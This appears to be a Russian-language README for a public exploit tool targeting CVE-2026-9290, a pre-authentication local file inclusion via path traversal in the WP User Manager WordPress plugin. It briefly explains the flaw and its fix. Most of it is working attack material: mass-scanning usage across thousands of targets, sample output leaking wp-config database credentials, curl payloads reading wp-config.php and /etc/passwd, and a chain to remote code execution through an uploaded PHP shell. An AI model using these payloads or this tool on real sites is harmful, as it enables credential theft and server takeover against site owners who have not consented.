
Pre-auth Local File Inclusion в WP User Manager <= 2.9.17 через path traversal в параметре tab (CVSS 7.5)
CVE-2026-9290 — это уязвимость высокого уровня опасности (CVSS 7.5) неаутентифицированного включения локальных файлов в плагине WordPress WP User Manager – User Profile Builder & Membership (≤ 2.9.17).
Функция wpum_get_active_profile_tab() передает параметр запроса tab напрямую в загрузчик шаблонов Gamajo без проверки по белому списку. Последовательности обхода пути в значении позволяют неаутентифицированным атакующим включать произвольные файлы с сервера через PHP-функцию include().
tab| Версия WP User Manager | Статус |
|---|---|
| ≤ 2.9.17 | Уязвима |
| ≥ 2.9.18 | Исправлена |
В файле includes/functions.php функция wpum_get_active_profile_tab() принимает параметр запроса tab без проверки по белому списку:
// Уязвимо: отсутствует проверка $tab по белому списку
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);
Значение передается в Gamajo_Template_Loader::get_template_part(), который определяет и включает файл шаблона:
// class-gamajo-template-loader.php строка 226
include($template_path . $tab . '.php');
sanitize_text_field() НЕ удаляет последовательности обхода пути. ../../../wp-config проходит проверку.
GET /profile/?tab=../../../wp-config
→ wpum_get_active_profile_tab('../../../wp-config')
→ Gamajo_Template_Loader::include('../../../wp-config.php')
→ wp-config.php включен → данные для подключения к БД раскрыты
| Файл | Строка | Роль |
|---|---|---|
includes/functions.php | #L955 | wpum_get_active_profile_tab() — нет белого списка |
templates/profile.php | #L52 | Область шаблона профиля |
class-gamajo-template-loader.php | #L226 | Несанитизированный include() |
PR #445 добавляет проверку по белому списку:
// Исправлено: проверка на соответствие зарегистрированным вкладкам
if (!array_key_exists($tab, $registered_tabs)) {
$tab = 'profile'; // возврат к значению по умолчанию
}
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt
# Одиночная цель — проверка LFI
python cve_2026_9290.py -t target.com
# Массовое сканирование
python cve_2026_9290.py -f targets.txt -v
# Чтение конкретного файла через LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"
# Сохранение результатов
python cve_2026_9290.py -f targets.txt -o lfi.txt
-t, --target Одиночная цель (домен или IP)
-f, --file Список целей, по одной на строку
--read PATH Прочитать конкретный файл через LFI
-o, --output Сохранить результаты в файл
--threads Количество потоков (по умолчанию: 25)
-v, --verbose Показать подробный вывод
$ python cve_2026_9290.py -t target.com -v
CVE-2026-9290 — WP User Manager LFI → RCE Exploit
CVSS 7.5 | Без аутентификации | Обход пути через параметр 'tab'
[+] WP User Manager обнаружен
[+] Страница профиля: /profile/
[+] LFI подтвержден: wp-config.php (учетные данные БД)
[+] Предпросмотр содержимого: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');
Хост : target.com
WPUM : ДА
LFI : ДА
Файл : wp-config.php (учетные данные БД)
Время : 3.2с
[LFI] target-1.com 3.2с wp-config.php (учетные данные БД)
define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
[LFI] target-2.com 4.1с wp-config.php (учетные данные БД)
define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
[200/5458] 3% | WPUM:12 LFI:5 | current-target.com
Шаг 1 — Обнаружение WP User Manager
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3
Шаг 2 — Поиск страницы профиля
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'
Шаг 3 — LFI через параметр tab
# Чтение wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'
# Чтение /etc/passwd
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'
# RCE — включение загруженной PHP-оболочки
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'
1. LFI → чтение wp-config.php → получение учетных данных БД
2. Загрузка PHP-оболочки через другой плагин/медиа-точку
3. LFI → включение загруженной оболочки → RCE
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВ.
Данное программное обеспечение предназначено для специалистов по безопасности, проводящих авторизованные тесты на проникновение, организаций, проверяющих собственную инфраструктуру, и исследователей, изучающих эксплуатацию уязвимостей.
Несанкционированный доступ к компьютерным системам незаконен и может нарушать:
- США: Закон о компьютерном мошенничестве и злоупотреблениях (18 U.S.C. 1030)
- Индонезия: Закон об электронной информации и транзакциях, статьи 30 и 46
- Европейский союз: Директива 2013/40/EU
- Великобритания: Закон о неправомерном использовании компьютеров 1990 года
Авторы не несут ответственности за неправомерное использование.
| Ресурс | Ссылка |
|---|---|
| Консультация GitHub | GHSA-83v9-496w-54wx |
| Консультация Wordfence | wordfence.com |
| PR с исправлением | GitHub #445 |
| Анализ IONIX | ionix.io |
Этот проект не связан с WP User Manager или Carbon Fields.